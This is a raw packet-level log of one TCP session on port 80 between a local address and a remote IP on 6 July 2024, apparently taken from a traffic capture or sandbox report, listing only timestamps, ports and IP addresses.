Jul 6, 2024 14:10:07.592169046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592202902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592267990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592309952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592344999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592354059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592365026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592381001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592397928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592498064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592540026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592544079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592581034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592588902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592597961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592628002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592708111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592749119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592751980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592781067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.592931032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592941046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.592974901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593009949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593044996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593075991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593116045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593190908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593199968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593240023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593395948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593439102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593446970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593457937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593480110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593492985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593549013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593558073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593586922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593599081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593622923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593637943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593674898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593795061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593805075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593846083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593861103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593875885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593899012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593911886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.593957901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593983889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.593997955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594014883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594064951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594074011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594108105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594172955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594211102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594216108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594243050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594393015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594417095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594439983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594446898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594464064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594475031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594480038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594507933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594624996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594634056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594672918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594723940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594763994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.594800949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.594840050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784162998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784296989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784307957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784317970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784348965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784368038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784394026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784399033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784399033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784404993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784420967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784439087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784548998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784559011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784598112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784600973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784607887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784641981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784732103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784742117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784779072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784836054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.784876108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.784993887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785002947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785012007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785042048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785060883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785125017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785134077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785167933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785317898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785356045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785361052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785370111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785394907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785398006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785432100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785676956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785721064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785723925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785732985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785759926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785762072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785773039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785778999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785797119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785806894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785895109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785942078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.785984993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.785995007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786005020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786030054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786041975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786061049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786071062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786104918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786236048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786283016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786406994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786417007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786427021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786456108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786468029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786487103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786506891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786521912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786540031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786570072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786619902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786647081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786689043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786776066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786818027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786891937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786926985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786933899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786935091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786957979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786969900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.786976099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.786979914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787005901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787015915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787072897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787113905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787256956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787266970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787275076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787303925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787316084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787426949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787470102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787514925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787523985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787533045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787560940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787573099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787611008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787652969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787718058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787729025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787738085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787764072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787779093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787934065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787942886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.787976980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.787995100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788003922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788033962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788101912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788144112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788300037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788309097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788317919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788346052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788348913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788357019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788357973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788384914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788412094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788449049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788551092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788561106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788575888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788595915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788613081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788760900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788805008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788841963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788870096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788882017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788903952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788909912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788950920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.788983107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.788991928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.789025068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.789087057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.789096117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.789134979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.789331913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.789374113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.789385080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.789424896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.789452076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.789490938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:07.789522886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:07.789561033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.007678986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.007713079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.007749081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.007818937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.008219004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.008265018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.008318901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.008358955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.008544922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.008599043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.008614063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.008625031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.008650064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.008665085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.008830070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.008872986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.008924961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.008963108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.009977102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.010004044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.010013103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.010020971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.010044098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.010046005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.010080099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.010271072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.010303974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.010308027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.010339022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.010418892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.010428905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.010459900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.010471106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.012809038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.012850046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.012855053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.012887001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.012996912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.013037920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.013065100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.013097048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.013329983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.013351917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.013371944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.013386965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.013767958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.013808012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.013875008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.013885021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.013909101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.013921022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.013943911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.014595985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.014638901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.014647007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.014657021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.014679909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.014694929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.015343904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.015387058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.015439987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.015449047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.015472889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.015485048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.015533924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.015543938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.015571117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.015579939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.015904903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.015914917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.015923977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.015944004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.015959978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.016032934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.016067982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.016097069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.016130924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.016757965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.016799927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.016834974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.016870022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.017167091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.017177105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.017187119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.017208099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.017213106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.017219067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.017224073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.017241955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.017256975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.017981052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018023014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018033981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018049002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018059015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018068075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018081903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018093109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018265009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018299103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018346071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018364906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018374920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.018383026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018393040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.018414021 CEST	49732	80	192.168.2.4	211.108.60.155
